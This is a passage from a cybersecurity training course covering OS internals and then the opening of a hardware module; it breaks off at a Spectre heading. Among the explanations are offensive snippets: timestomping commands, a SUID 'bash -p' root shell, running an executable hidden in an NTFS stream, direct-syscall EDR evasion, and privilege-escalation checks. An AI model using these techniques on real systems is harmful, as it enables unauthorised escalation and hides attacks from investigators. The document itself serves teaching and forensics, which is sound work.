streams.exe -s C:\  # Sysinternals Streams tool

Malware and ADS:
Attackers use ADS to hide malicious executables and scripts inside legitimate files. The host file appears innocent, but the malicious code lives in a hidden stream.

Zone.Identifier — The Beneficial ADS:
Windows uses an ADS called Zone.Identifier to mark files downloaded from the internet. When you download a file from a browser, Windows adds this stream:

[ZoneTransfer]
ZoneId=3
ReferenceUrl=https://example.com/malware.exe

This is what causes the "This file was downloaded from the internet. Are you sure you want to run it?" warning. Malware often deletes this stream (using Unblock-File in PowerShell or attrib) to suppress the warning. Forensically, the absence of Zone.Identifier on a file that should have been downloaded is itself a suspicious indicator.

NTFS Timestamps — A Forensic Gold Mine (and Minefield)

NTFS maintains four timestamps per file in the Standard Information attribute:

Created ($SI_Created)
Modified ($SI_Modified)
Accessed ($SI_Accessed)
MFT Record Changed ($SI_MFTChanged)

And four more in the File Name attribute:

$FN_Created, $FN_Modified, $FN_Accessed, $FN_MFTChanged

Timestomping:
Attackers routinely modify timestamps to blend malicious files with legitimate ones or to destroy the forensic timeline. PowerShell makes this trivial:

# Modify timestamps to evade detection
(Get-Item malware.exe).CreationTime = "01/01/2020 12:00:00"
(Get-Item malware.exe).LastWriteTime = "01/01/2020 12:00:00"

The forensic catch:
Timestomping only modifies the $Standard_Information timestamps — the ones visible to normal tools. The $File_Name timestamps are updated by the kernel itself and are much harder to modify from user mode. Forensic tools like Autopsy and MFTECmd compare both sets of timestamps. A discrepancy between $SI and $FN timestamps is a strong indicator of timestomping.

6.3 ext4 — Linux File System

ext4 (Fourth Extended File System) is the default file system for most Linux distributions. It is a journaling file system descended from ext2 and ext3.

ext4 Structure

Disk Layout:
┌─────────────────────────────────────────────────┐
│  Superblock  │  Group Descriptors  │  ...        │
├─────────────┬───────────────────────────────────┤
│  Block Group 0  │  Block Group 1  │  Block Group N │
│                 │                 │               │
│  ┌──────────┐   │  ┌──────────┐   │               │
│  │ Inode    │   │  │ Inode    │   │               │
│  │ Table    │   │  │ Table    │   │               │
│  ├──────────┤   │  ├──────────┤   │               │
│  │ Data     │   │  │ Data     │   │               │
│  │ Blocks   │   │  │ Blocks   │   │               │
│  └──────────┘   │  └──────────┘   │               │
└─────────────────────────────────────────────────┘

The Inode:
The inode is ext4's equivalent of NTFS's MFT record. Every file and directory has an inode that stores:

Inode Contents:
├── File type (regular file, directory, symlink, device...)
├── Permissions (rwxrwxrwx)
├── Owner (UID) and Group (GID)
├── Timestamps (atime, mtime, ctime, crtime on ext4)
├── File size
├── Hard link count
├── Pointers to data blocks
└── Extended attributes

Critical point: The inode does NOT store the filename. Filenames are stored in directory entries that point to inodes. This separation is fundamental to Linux forensics.

# View inode information
stat /etc/passwd

# Find a file's inode number
ls -i /etc/passwd

# Find all files with a specific inode (hard links)
find / -inum <inode_number> 2>/dev/null

Linux File Permissions — The Security Model

Linux uses a simple but powerful permission model based on three categories and three permission bits:

-rwxr-xr--  1  root  wheel  4096  Jan 1 00:00  file.sh
 │││││││││
 ││││││││└── Others: r-- (read only)
 │││││││└─── Others execute: no
 ││││││└──── Others write: no
 │││││└───── Group: r-x (read + execute)
 ││││└────── Group execute: yes
 │││└─────── Group write: no
 ││└──────── Owner: rwx (read + write + execute)
 │└───────── Owner execute: yes
 └────────── File type: - (regular file)

Octal representation:

r = 4, w = 2, x = 1

rwxr-xr-- = 754
rwxrwxrwx = 777 (dangerous — world writable and executable)
rw-r--r-- = 644 (typical for config files)
rwx------ = 700 (owner only, good for private scripts)

SUID, SGID, and Sticky Bit — The Dangerous Permissions:

These are special permission bits that are frequently misconfigured and exploited for privilege escalation.

SUID (Set User ID — bit 4000):
When set on an executable, it runs with the privileges of the file's owner, not the user executing it. If root owns a SUID binary, it runs as root for anyone who executes it.

# Find all SUID files on the system
find / -perm -4000 -type f 2>/dev/null

# Example: /usr/bin/passwd is SUID root
# A normal user can change their own password because
# passwd needs to write to /etc/shadow (root-only file)
ls -la /usr/bin/passwd
# Output: -rwsr-xr-x 1 root root ... /usr/bin/passwd
#              ^-- 's' means SUID is set

Exploiting SUID for privilege escalation:
If a SUID binary has a vulnerability or is misconfigured (e.g., a SUID shell), it can be exploited to gain root:

# If bash is somehow SUID (misconfiguration):
ls -la /bin/bash
# -rwsr-xr-x 1 root root ... /bin/bash
bash -p  # -p preserves effective UID → instant root shell

GTFOBins (gtfobins.github.io) is an invaluable reference listing SUID binary exploitation techniques for dozens of standard utilities.

SGID (Set Group ID — bit 2000):
Similar to SUID but sets the effective group ID. On directories, new files inherit the directory's group — useful for shared directories, exploitable if misconfigured.

Sticky Bit (bit 1000):
On directories, prevents users from deleting files they do not own. /tmp uses this so all users can write to it but cannot delete each other's files.

ls -la /tmp
# drwxrwxrwt  ...  /tmp
#          ^-- 't' means sticky bit is set

/proc — The Virtual File System That Exposes Everything

/proc is a pseudo-filesystem in Linux that provides a window into the kernel's view of the system. Nothing in /proc is actually on disk — it is generated dynamically by the kernel.

# Every running process has a directory in /proc
ls /proc/
# Output includes: 1  2  3  ...  <PID of every process>  ...  cpuinfo  meminfo

# Investigate a specific process
cat /proc/<PID>/cmdline     # Command line arguments
cat /proc/<PID>/status      # Detailed process status
cat /proc/<PID>/maps        # Memory map (address ranges, permissions)
cat /proc/<PID>/net/tcp     # Network connections of this process
ls -la /proc/<PID>/fd/      # Open file descriptors
cat /proc/<PID>/environ     # Environment variables (may contain secrets!)

Security Insight: /proc/<PID>/environ can contain environment variables including API keys, passwords, and tokens passed to processes at startup. This is a common source of credential exposure in poorly configured applications. During privilege escalation, examining the environment of high-privilege processes you can read can yield credentials.

6.4 FAT32 — The Legacy Standard

FAT32 (File Allocation Table 32) is a simple, old file system designed in the MS-DOS era. It lacks security features but is universally compatible:

No user permissions or ownership
No journaling (data loss risk on improper unmount)
Maximum file size: 4 GB (a critical limitation)
Maximum volume size: 2 TB
No alternate data streams

When you encounter FAT32 in security contexts:

USB drives and embedded systems — Most USB drives and SD cards are FAT32 for compatibility. Many embedded devices, PLCs, and industrial HMIs use FAT32 for removable media. FAT32 has no access control — anyone with physical access to the media can read everything.
UEFI EFI System Partition — The partition that UEFI reads bootloaders from is FAT32. This is why UEFI firmware can read bootloaders before any OS is loaded — UEFI has a built-in FAT32 driver.
Forensic recovery — FAT32's simple structure makes file recovery relatively straightforward with tools like Foremost and PhotoRec.
OT Devices — Many legacy industrial devices store configuration files and firmware on FAT32 formatted flash cards. These can be removed, copied, modified, and reinserted — a significant physical security concern in OT environments.

7. Memory Management

7.1 Virtual Memory — The Foundation of Process Isolation

We introduced virtual memory in Stage 0.1. Here we go deeper into the mechanisms and their security implications.

Every process operates in its own virtual address space. The process believes it has a large, contiguous block of memory entirely to itself. In reality, this virtual space is backed by:

Physical RAM (for actively used pages)
The page file/swap space on disk (for infrequently used pages)
Memory-mapped files (the executable and its libraries)

The MMU (Memory Management Unit) in the CPU performs the translation from virtual to physical addresses using page tables maintained by the kernel.

Process Virtual Address → [MMU + Page Tables] → Physical RAM Address
                                                         OR
                                               Page File on Disk (page fault → load)

7.2 Pages, Page Faults, and Swapping

Memory is managed in fixed-size units called pages (typically 4 KB, sometimes 2 MB or 1 GB for huge pages).

When a process accesses a virtual address:

The MMU checks the page table entry for that address.
If the page is in RAM (present bit set) → immediate access, fast.
If the page is not in RAM → page fault exception.
The kernel handles the page fault: loads the page from disk into RAM, updates the page table.
The instruction is retried — this time it succeeds.

Security Relevance — The Page File:
The Windows page file (pagefile.sys) and Linux swap partition contain pages that were evicted from RAM. This can include:

Decrypted content from applications that encrypt data at rest
Passwords from memory
Encryption keys
Browser history and cached content

In forensic investigations, the page file is a valuable source of evidence that many investigators overlook. Volatile memory forensics tools like Volatility can process page file content alongside RAM dumps.

7.3 Memory Permissions and the NX/XD Bit

Each page in virtual memory has associated permission bits that control what operations are allowed:

Permission	Meaning
Read (R)	Process can read data from this page
Write (W)	Process can write data to this page
Execute (X)	CPU can execute instructions on this page

The NX (No-Execute) bit on AMD processors and XD (Execute Disable) bit on Intel processors allow the OS to mark pages as non-executable. Pages containing data should never be executable. This is the basis of DEP (Data Execution Prevention) on Windows and NX protection on Linux.

Before NX/DEP:

Stack Buffer Overflow Attack:
1. Overflow buffer on stack
2. Overwrite return address to point to attacker's shellcode on the stack
3. CPU executes shellcode directly from the stack
→ Game over

After NX/DEP:

Stack Buffer Overflow Attack attempt:
1. Overflow buffer on stack
2. Overwrite return address to point to attacker's shellcode on the stack
3. CPU tries to execute stack page
4. NX bit: this page is marked non-executable → CPU raises exception
→ Program crashes, attack fails

The attacker's response — Return-Oriented Programming (ROP):
Since code injection is blocked, attackers stopped injecting new code. Instead, they chain together small snippets of existing executable code called gadgets — sequences of 2-5 instructions ending in a ret instruction. By overwriting the stack with addresses of these gadgets, attackers can build Turing-complete computation entirely from existing, legitimate executable code.

Stack after overflow (ROP chain):
[Address of gadget 1]  → executes instructions, then ret
[Address of gadget 2]  → executes instructions, then ret
[Address of gadget 3]  → executes instructions, then ret
[Address of syscall]   → executes execve("/bin/sh") → shell

This is one of the most important concepts in modern exploitation. You will study it in depth during Stage 4 and beyond, but understanding page permissions and NX is the foundation.

7.4 ASLR — Address Space Layout Randomisation

ASLR randomises the base addresses of the stack, heap, and shared libraries in virtual memory on each execution. Without ASLR, the attacker knows exactly where the stack is and where system libraries like libc are loaded. ROP chains and other attacks require knowing the addresses of gadgets, which means they need to know where libraries are loaded.

Without ASLR (same every run):
  Stack:   0x7fff0000
  libc:    0xb7e00000
  Heap:    0x08048000

With ASLR (different every run):
  Stack:   0x7f4a2000  ← different
  libc:    0xb6c14000  ← different
  Heap:    0x55a3f000  ← different

ASLR Bypasses:

Information leaks — Vulnerabilities that disclose a memory address allow the attacker to calculate the base address of libraries, defeating ASLR.
Brute force — On 32-bit systems, the address space is small enough that brute force is feasible. On 64-bit systems, the space is too large.
Heap spraying — Fill large portions of memory with shellcode so that a random jump lands in it.

KASLR (Kernel ASLR):
Applies the same randomisation to the kernel's own memory layout. Many modern kernel exploits begin with an information leak to defeat KASLR before attempting privilege escalation.

7.5 Heap Memory and Heap Vulnerabilities

The heap is the region of memory used for dynamic allocation — when your program calls malloc() in C or new in C++.

The heap is managed by the allocator (part of the C runtime library). The allocator maintains internal metadata (headers and footers on each allocation) that tracks the size and status of each chunk.

Heap vulnerabilities are some of the most complex and impactful in security:

Use-After-Free (UAF):
A pointer to freed memory is used after the memory has been returned to the allocator. If the attacker can control what gets allocated in that freed region, they can control what the dangling pointer accesses.

char *buf = malloc(256);
free(buf);
// buf is now a dangling pointer
// Attacker allocates something else that occupies the same region
// buf still points to that region
strcpy(buf, attacker_data);  // Writing to attacker-controlled memory

UAF vulnerabilities have been responsible for some of the most critical browser exploits. The Chrome V8 engine, Firefox's SpiderMonkey, and Internet Explorer have all had critical UAF vulnerabilities used in real-world attacks.

Heap Overflow:
Writing beyond the allocated buffer into adjacent heap chunks, overwriting allocator metadata or other allocations.

8. System Calls

8.1 What Is a System Call

A system call (syscall) is the mechanism by which user-mode programs request services from the kernel. It is the only legitimate crossing point between user mode and kernel mode.

Every meaningful action your program takes is ultimately a system call:

User Action	System Call (Linux)	System Call (Windows)
Open a file	`open()`	`NtOpenFile()`
Read from file	`read()`	`NtReadFile()`
Create process	`fork()` / `execve()`	`NtCreateProcess()`
Allocate memory	`mmap()` / `brk()`	`NtAllocateVirtualMemory()`
Send network data	`sendto()`	`NtDeviceIoControlFile()`
Create a thread	`clone()`	`NtCreateThread()`

8.2 How System Calls Work at the Machine Level

On x86-64 Linux:

User Mode Code:
  mov rax, 0         ; System call number 0 = read()
  mov rdi, fd        ; Argument 1: file descriptor
  mov rsi, buffer    ; Argument 2: buffer address
  mov rdx, count     ; Argument 3: byte count
  syscall            ; Trigger the system call

[CPU switches to Ring 0 — kernel mode]

Kernel:
  ; Looks up syscall number 0 in sys_call_table
  ; Validates arguments
  ; Performs the actual read operation
  ; Places return value in rax
  ; Returns to user mode via sysret

Linux system call table:

# View system call numbers
cat /usr/include/asm/unistd_64.h | grep "#define __NR_"

8.3 System Calls and Security Monitoring

This is one of the most important topics for detection engineering and malware analysis.

Every malicious action that malware performs must ultimately go through system calls. Malware cannot:

Create a file without calling open()/NtCreateFile()
Start a process without calling fork()/CreateProcess()
Connect to a network without calling connect()/NtConnect()
Inject into another process without calling VirtualAllocEx()/WriteProcessMemory()

Security tools exploit this inescapability:

Linux — strace:

# Trace all system calls made by a program
strace /bin/ls

# Trace a running process
strace -p <PID>

# Filter for specific syscalls
strace -e trace=open,read,write,connect /bin/ls

Windows — API Monitor / ETW (Event Tracing for Windows):
Windows EDR products use ETW to monitor Windows API calls. When cmd.exe spawns from winword.exe, or powershell.exe makes a network connection, or lsass.exe is accessed with PROCESS_VM_READ rights — all of these generate ETW events that security tools consume.

Seccomp (Linux Sandboxing):
Modern browsers and containerised applications use seccomp (Secure Computing Mode) to restrict which system calls a process is allowed to make. A browser renderer process probably does not need to call fork() or mount(). Restricting it to only the syscalls it needs dramatically reduces the attack surface.

// Example: allow only read, write, exit, sigreturn
scmp_filter_ctx ctx = seccomp_init(SCMP_ACT_KILL);
seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(read), 0);
seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(write), 0);
seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(exit), 0);
seccomp_load(ctx);
// Any other syscall now kills the process

Docker containers use seccomp profiles to restrict container system calls. Understanding seccomp is important for container security (Stage 8).

8.4 Syscall-Based Evasion — Direct Syscalls

Modern EDR products hook Windows API functions (in ntdll.dll) to monitor behaviour. When malware calls VirtualAllocEx(), the EDR's hook intercepts it, logs it, and decides whether to allow it.

Attacker response — Direct Syscalls:
Instead of calling the API function that EDR is monitoring, the malware issues the syscall instruction directly, bypassing the hook entirely:

; Normal path (EDR can monitor this):
call VirtualAllocEx  → ntdll.dll → [EDR HOOK HERE] → kernel

; Direct syscall (EDR cannot monitor this):
mov r10, rcx
mov eax, 0x18  ; syscall number for NtAllocateVirtualMemory
syscall        → kernel directly, no hooks in the path

Tools like SysWhispers and Hells Gate implement direct syscall techniques and are widely used in offensive tooling including commercial C2 frameworks.

The arms race: EDR vendors responded to direct syscalls by moving their hooks into the kernel itself (kernel callbacks). Attackers responded with BYOVD (bringing vulnerable kernel drivers). This escalation is ongoing and understanding syscalls is the foundation for following it.

9. Key Takeaways and Security Mindset

9.1 The OS Is Both Fortress and Battlefield

The operating system is simultaneously:

The primary security enforcer — permissions, isolation, privilege levels
The primary target — every attacker tries to subvert OS mechanisms
The primary evidence source — every attack leaves traces in OS structures

Understanding the OS deeply means you understand both how defences work and how they fail. You cannot be effective on either side without this foundation.

9.2 The Hierarchy of Trust

Hardware (Stage 0.1)
    ↓ enforces
Kernel (this module)
    ↓ enforces
User Mode Applications
    ↓ enforces
File System Permissions, Process Isolation, etc.

Every security control at a higher level can be subverted by a compromise at a lower level. OS security controls are meaningless if the kernel is compromised. This hierarchical thinking applies to every system you will assess in your career.

9.3 For OT/ICS Environments

The principles in this module apply to every OS — including the ones running on PLCs, HMIs, and SCADA servers. Key specific points:

RTOS (Real-Time Operating Systems) often have minimal or no user/kernel separation — everything runs at maximum privilege. This means a vulnerability anywhere in the system potentially means full compromise.
Legacy Windows versions (Windows XP, Windows 7) are common in OT environments. These lack many of the modern security features described in this module — no ASLR, no modern heap protections, outdated system call interfaces.
File system permissions on HMI configuration files, ladder logic backups, and historian databases are frequently misconfigured in OT environments.
Process monitoring is rarely implemented in OT environments — there is often no EDR, no strace-equivalent, no API monitoring. Attacks can run undetected indefinitely.

9.4 Core Concepts to Commit to Memory

Concept	Why It Matters
Kernel = absolute authority	Kernel compromise = total compromise
User/Kernel mode boundary	Foundation of all privilege escalation
Process = isolated unit	Injection = breaking this isolation
File permissions	Primary Linux privilege escalation vector
NTFS ADS	Hiding malware, Zone.Identifier forensics
NTFS timestamps	Forensic timeline, timestomping detection
ASLR + NX/DEP	Why modern exploitation requires bypasses
System calls = observable	Foundation of EDR detection and evasion

10. Hands-On Exercises

Exercise 1: Process Archaeology (45 minutes)

Objective: Understand what a "normal" process tree looks like so you can spot anomalies.

Windows:

# Install Sysinternals Process Explorer and Process Monitor
# Download: https://learn.microsoft.com/en-us/sysinternals/

# Document the parent-child relationships of these processes:
# - explorer.exe → what does it spawn?
# - svchost.exe → how many instances? what services do they host?
# - lsass.exe → what accesses it?

# Using built-in tools:
Get-CimInstance Win32_Process | 
    Select-Object ProcessId, ParentProcessId, Name, ExecutablePath |
    Sort-Object ParentProcessId |
    Format-Table -AutoSize

Linux:

# Install and use pstree
sudo apt install psmisc
pstree -p -u  # Show PIDs and users

# Document:
# - What spawns init/systemd's children?
# - What processes does your shell spawn when you run a command?
# - What processes does sshd spawn when you connect?

# Compare process lists from /proc vs ps
ls /proc | grep -E '^[0-9]+$' | sort -n > proc_pids.txt
ps aux | awk '{print $2}' | tail -n +2 | sort -n > ps_pids.txt
diff proc_pids.txt ps_pids.txt  
# In a rootkit scenario, a hidden process appears in /proc but not in ps

Goal: Build the mental model of "normal" — every detection in your career depends on knowing what normal looks like.

Exercise 2: System Call Tracing (30 minutes)

Linux:

# Trace what happens when you read a file
strace cat /etc/hostname 2>&1 | head -50

# Answer these questions from the strace output:
# 1. What syscall opens the file?
# 2. What syscall reads the content?
# 3. What syscall writes to your terminal?
# 4. What syscall closes the file?

# Trace a network connection
strace -e trace=network curl https://example.com 2>&1 | head -30

# Answer:
# 1. What syscall creates the socket?
# 2. What syscall makes the connection?
# 3. What syscall sends data?

Windows:

Download API Monitor (free): http://www.rohitab.com/apimonitor
1. Start monitoring notepad.exe
2. Open a file in Notepad
3. Find NtCreateFile, NtReadFile in the API call log
4. Examine the parameters passed to each call

Goal: See system calls in action. This directly prepares you for malware analysis — you will trace malware's API calls to understand its behaviour.

Exercise 3: File System Permissions Audit (30 minutes)

Linux:

# Find all SUID binaries
find / -perm -4000 -type f 2>/dev/null

# For each one, look it up on GTFOBins:
# https://gtfobins.github.io/
# Can any of them be exploited?

# Find world-writable files and directories
find / -perm -0002 -not -path "/proc/*" -not -path "/sys/*" 2>/dev/null

# Find files owned by root that are writable by others
find / -user root -perm -0022 -not -path "/proc/*" 2>/dev/null

# Check /etc/passwd and /etc/shadow permissions
ls -la /etc/passwd /etc/shadow
stat /etc/passwd /etc/shadow

Windows:

# Find writable directories in PATH (potential DLL hijacking)
$env:PATH -split ';' | ForEach-Object {
    $path = $_
    try {
        $acl = Get-Acl $path -ErrorAction Stop
        $acl.Access | Where-Object {
            $_.IdentityReference -match "Everyone|BUILTIN\\Users|CREATOR OWNER" -and
            $_.FileSystemRights -match "Write|Modify|FullControl"
        } | ForEach-Object {
            "$path - $($_.IdentityReference) - $($_.FileSystemRights)"
        }
    } catch {}
}

# Check service binary permissions
Get-WmiObject Win32_Service | Where-Object {$_.PathName} | ForEach-Object {
    $path = $_.PathName -replace '"','' -split ' ' | Select-Object -First 1
    if (Test-Path $path) {
        $acl = Get-Acl $path
        $acl.Access | Where-Object {
            $_.IdentityReference -match "Everyone|BUILTIN\\Users" -and
            $_.FileSystemRights -match "Write|Modify|FullControl"
        } | ForEach-Object {
            "SERVICE: $($_.name) - PATH: $path - $($_.IdentityReference)"
        }
    }
}

Goal: Perform your first real privilege escalation reconnaissance. These are the exact checks that tools like LinPEAS and WinPEAS automate.

Exercise 4: NTFS Alternate Data Streams (20 minutes)

# Create a test directory
mkdir C:\ADS_Test
cd C:\ADS_Test

# Create a file with hidden content in an ADS
echo "This is visible content" > testfile.txt
echo "This is HIDDEN in ADS" > testfile.txt:secret

# Check the visible content (normal)
type testfile.txt

# The ADS is not visible in dir
dir testfile.txt

# But it exists and can be accessed
more < testfile.txt:secret

# See it with /r flag
dir /r testfile.txt

# Create an executable in an ADS (this is how malware hides payloads)
type C:\Windows\System32\calc.exe > testfile.txt:hidden_exe

# Run it from the ADS
wmic process call create "C:\ADS_Test\testfile.txt:hidden_exe"

# Now find and remove it
streams.exe -d testfile.txt  # Sysinternals streams tool

Goal: Understand ADS practically. You will encounter this in CTFs, malware analysis, and real-world forensic cases.

Exercise 5: Memory Layout Exploration (30 minutes)

# Linux — Examine your own shell's memory layout
cat /proc/$$/maps

# Identify and label each region:
# - The stack (look for [stack])
# - The heap (look for [heap])  
# - The executable itself
# - Shared libraries (libc, etc.)
# - VDSO (Virtual Dynamic Shared Object)

# Run the same program twice and compare the addresses (ASLR in action)
cat /proc/$$/maps | grep libc | head -1
# Open another terminal
cat /proc/$$/maps | grep libc | head -1
# The addresses should be different each time

# Check if ASLR is enabled
cat /proc/sys/kernel/randomize_va_space
# 2 = fully randomised (default)
# 0 = disabled (useful for debugging exploits in a lab)

# Temporarily disable ASLR for exploit development (lab only, never production)
echo 0 | sudo tee /proc/sys/kernel/randomize_va_space
# Run the address check again — now addresses are consistent
# Re-enable immediately after:
echo 2 | sudo tee /proc/sys/kernel/randomize_va_space

Goal: Make ASLR tangible. When you later study buffer overflows and ROP chains, you will understand exactly why ASLR exists and why bypassing it is a prerequisite for reliable exploitation.

11. Further Reading and Resources

Essential Papers

Liedtke, "On Microkernel Construction" (SOSP 1995) — foundational microkernel design
Saltzer & Schroeder, "The Protection of Information in Computer Systems" (1975) — foundational security principles, still relevant
Solar Designer, "Getting around non-executable stack (and fix)" (1997) — the ret2libc technique that preceded ROP

Books

"Operating Systems: Three Easy Pieces" (Arpaci-Dusseau) — Free online at ostep.org, the best OS textbook. Read the virtualisation section (processes, memory) and the concurrency section (threads) at minimum.
"The Art of Memory Forensics" (Ligh, Case, Levy, Walters) — Deep dive into OS internals through a forensics lens
"Windows Internals" (Russinovich, Solomon, Ionescu) — The definitive reference for Windows OS internals

Tools to Install Now

# Linux tools
sudo apt install strace ltrace procps psmisc

# Volatility 3 (memory forensics)
pip3 install volatility3

# pspy (monitor processes without root — great for CTFs)
# Download: https://github.com/DominicBreuker/pspy

# Windows — Download from Microsoft Sysinternals:
# Process Explorer, Process Monitor, Autoruns, TCPView
# https://learn.microsoft.com/en-us/sysinternals/

Online Resources

Linux man pages — man 2 <syscall_name> for any syscall (e.g., man 2 open)
Windows API documentation — docs.microsoft.com/windows/win32/api
GTFOBins (gtfobins.github.io) — SUID/sudo exploitation reference
LOLBAS (lolbas-project.github.io) — Windows Living off the Land Binaries reference
Linux Kernel Source (elixir.bootlin.com) — Browse kernel source code online

Practice Platforms

TryHackMe — "Linux Fundamentals" rooms (free), "Windows Fundamentals" rooms (free)
OverTheWire: Bandit (overthewire.org/wargames/bandit) — Linux command line and file system basics through progressive challenges
PicoCTF — Forensics challenges that directly apply NTFS and file system knowledge

Module Summary

Topic	Core Security Application
OS Architecture	Understanding the layers attackers target
Kernel	Kernel compromise = total compromise; rootkits operate here
User/Kernel Mode	Privilege escalation crosses this boundary
Processes	Malware hides in processes; injection attacks abuse process model
Threads	Race conditions (TOCTOU, Dirty COW) exploit scheduling
NTFS	ADS for hiding malware; timestamps for forensics; permissions for privesc
ext4	SUID/SGID for privilege escalation; /proc for process intelligence
FAT32	OT device configuration exposure; UEFI boot partition
Memory Management	NX/DEP → ROP; ASLR → info leaks; page file → forensic evidence
System Calls	Observable boundary for EDR; direct syscalls for evasion

Next Module: Stage 0.3 — Windows Fundamentals

Previous Module: Stage 0.1 — Hardware Fundamentals

Series Index: Full Roadmap Index

Stage 0.1 — Hardware Fundamentals

Rençber AKMAN — Sun, 24 May 2026 10:37:12 +0000

The Cybersecurity Professional's Deep Dive into Computer Hardware

Roadmap Position: Stage 0 → Module 1 of 5

Prerequisite: None — this is where everything begins

Next Module: 0.2 — Operating System Fundamentals

Estimated Study Time: 2–3 days of focused study + hands-on practice

Why Hardware Knowledge Is Non-Negotiable in Cybersecurity

Most cybersecurity courses rush past hardware. They hand you Kali Linux and say "start hacking." That is a critical mistake — and it is exactly the kind of shortcut that produces mediocre analysts who can run tools but cannot think.

Here is the reality: every single attack, every defense, every piece of malware, every exploit ultimately executes on hardware. When a ransomware binary encrypts files, the CPU is executing its instructions. When a keylogger captures keystrokes, it is reading from memory-mapped I/O registers. When Spectre/Meltdown shook the entire security industry in 2018, the vulnerability was not in software — it was in how CPUs were designed to execute code faster. When an attacker physically compromises a server, the game is over regardless of how good your software security is.

For you specifically — someone at the intersection of electrical engineering and cybersecurity — hardware knowledge is your unfair competitive advantage. Understanding OT/SCADA systems, ICS attacks, smart grid security, PLC exploitation: all of it is grounded in hardware. While other analysts are puzzled by why a Modbus packet behaves oddly, you will understand it at the signal level.

Do not rush this. Build the foundation correctly.

The CPU — The Brain That Attackers Target
RAM — The Battlefield of Live Forensics and Attacks
ROM — Persistent Storage and Firmware Threats
GPU — The Unlikely Security Tool and Attack Surface
The Motherboard — The Nervous System of the Machine
Storage: HDD, SSD, NVMe — Where Evidence Lives and Dies
BIOS / UEFI — The Pre-Boot Attack Surface
Power Supply Unit — The Overlooked Attack Vector
Physical Security — The Layer That Software Cannot Patch
Hardware Security: The Full Picture
Hands-On Lab Exercises
Key Takeaways and Security Mindset

1. The CPU

1.1 What Is a CPU?

The Central Processing Unit (CPU) is the primary component responsible for executing instructions. Every program you run — including every piece of malware — is ultimately a set of instructions that the CPU fetches, decodes, and executes.

Think of the CPU as an extraordinarily fast interpreter. It reads a list of instructions from memory, translates each instruction into micro-operations, and carries them out billions of times per second.

1.2 How the CPU Works — The Fetch-Decode-Execute Cycle

Understanding this cycle is not optional. It is the foundation of exploit development, reverse engineering, and understanding how malware operates.

┌─────────────────────────────────────────────────────────┐
│                  FETCH-DECODE-EXECUTE CYCLE              │
│                                                         │
│  [Memory] ──FETCH──► [Instruction Register]             │
│                              │                          │
│                           DECODE                        │
│                              │                          │
│                              ▼                          │
│                    [Control Unit]                       │
│                              │                          │
│                           EXECUTE                       │
│                              │                          │
│                              ▼                          │
│                    [ALU / Registers]                    │
│                              │                          │
│                         WRITE BACK                      │
│                              │                          │
│                              ▼                          │
│                    [Memory / Registers]                 │
└─────────────────────────────────────────────────────────┘

Step-by-step breakdown:

1. Fetch: The CPU reads the next instruction from the memory address pointed to by the Program Counter (PC) register, also called the Instruction Pointer (IP/RIP) in x86-64 architecture. This register is critically important in exploit development — controlling where the CPU fetches its next instruction is the goal of almost every code execution exploit.

2. Decode: The Control Unit interprets the binary instruction, determining what operation is required (add, move, compare, jump, etc.) and what operands are needed.

3. Execute: The Arithmetic Logic Unit (ALU) performs the actual computation — mathematical operations, logical comparisons, bit shifts. For memory operations, the Memory Management Unit (MMU) is involved.

4. Write Back: Results are stored back into registers or main memory.

1.3 CPU Architecture: x86-64

For cybersecurity work, you will primarily encounter x86-64 (AMD64) architecture. Understanding this architecture is mandatory for exploit development and reverse engineering.

Key registers you must know:

Register	Size	Purpose	Security Relevance
RAX	64-bit	Accumulator / Return value	System call return values, function return values
RBX	64-bit	Base register	Preserved across function calls
RCX	64-bit	Counter / 4th argument	Loop counters, system call 4th arg
RDX	64-bit	Data / 3rd argument	File descriptors, 3rd syscall arg
RSI	64-bit	Source / 2nd argument	Buffer addresses in read/write syscalls
RDI	64-bit	Destination / 1st argument	File descriptors, 1st syscall arg
RSP	64-bit	Stack Pointer	Critical for exploit development — points to top of stack
RBP	64-bit	Base Pointer	Stack frame base — key in buffer overflow analysis
RIP	64-bit	Instruction Pointer	Controls execution flow — the holy grail of exploitation
RFLAGS	64-bit	Status flags	Zero Flag (ZF), Carry Flag (CF), Sign Flag (SF) — affect conditional jumps

Security Perspective: When you analyze a buffer overflow exploit, the attacker is trying to overwrite the saved return address on the stack — which, when the function returns, gets loaded into RIP. Controlling RIP means controlling what code executes next. This is why "control of the instruction pointer" is synonymous with "arbitrary code execution."

Privilege Rings — The CPU's Built-in Security Model:

┌──────────────────────────────────────────┐
│              Ring 0 — Kernel             │ ← OS kernel, drivers
│   ┌──────────────────────────────────┐   │
│   │         Ring 1 & 2              │   │ ← Rarely used today
│   │   ┌──────────────────────────┐  │   │
│   │   │      Ring 3 — User       │  │   │ ← All user applications
│   │   │   (Unprivileged Mode)    │  │   │
│   │   └──────────────────────────┘  │   │
│   └──────────────────────────────────┘   │
└──────────────────────────────────────────┘

This ring architecture is the hardware enforcement of privilege separation. When an exploit achieves a privilege escalation from Ring 3 to Ring 0, the attacker has complete control over the system. This is not a software concept — it is enforced by the CPU itself. Kernel exploits attempt to break this boundary.

Additionally, modern CPUs operate in two fundamental modes:

User Mode (Ring 3): Limited access. Cannot directly access hardware. Must request OS services via system calls.
Kernel Mode (Ring 0): Unrestricted access. Direct hardware access. All OS kernel code runs here.

1.4 CPU Caches — Performance Feature, Security Vulnerability

Modern CPUs use a hierarchy of caches to reduce memory access latency:

CPU Core
├── L1 Cache (fastest, ~32–64KB per core, ~1ns latency)
├── L2 Cache (~256KB–1MB per core, ~5ns latency)
└── L3 Cache (shared, ~4–32MB, ~15–40ns latency)
    └── Main Memory / RAM (~8–16GB, ~60–100ns latency)

Why this matters for security — Cache-Timing Side-Channel Attacks:

The difference in access time between a cache hit (~1ns) and a cache miss (~100ns) is measurable. An attacker can use this timing difference to infer what data is in the cache — and therefore what data has been recently accessed by another process. This is the basis of:

Flush+Reload: Attacker flushes a cache line, waits, then measures how long it takes to reload. If it's fast, the victim process accessed that address.
Prime+Probe: Attacker fills the cache with known data, lets the victim run, then measures which cache lines were evicted by the victim's accesses.
Spectre (CVE-2017-5753): Exploits speculative execution to read memory that the attacker should not have access to, then uses cache timing to exfiltrate the data.
Meltdown (CVE-2017-5754): Allows user-space processes to read kernel memory by exploiting out-of-order execution and cache effects.

Spectre and Meltdown — Historical Significance:

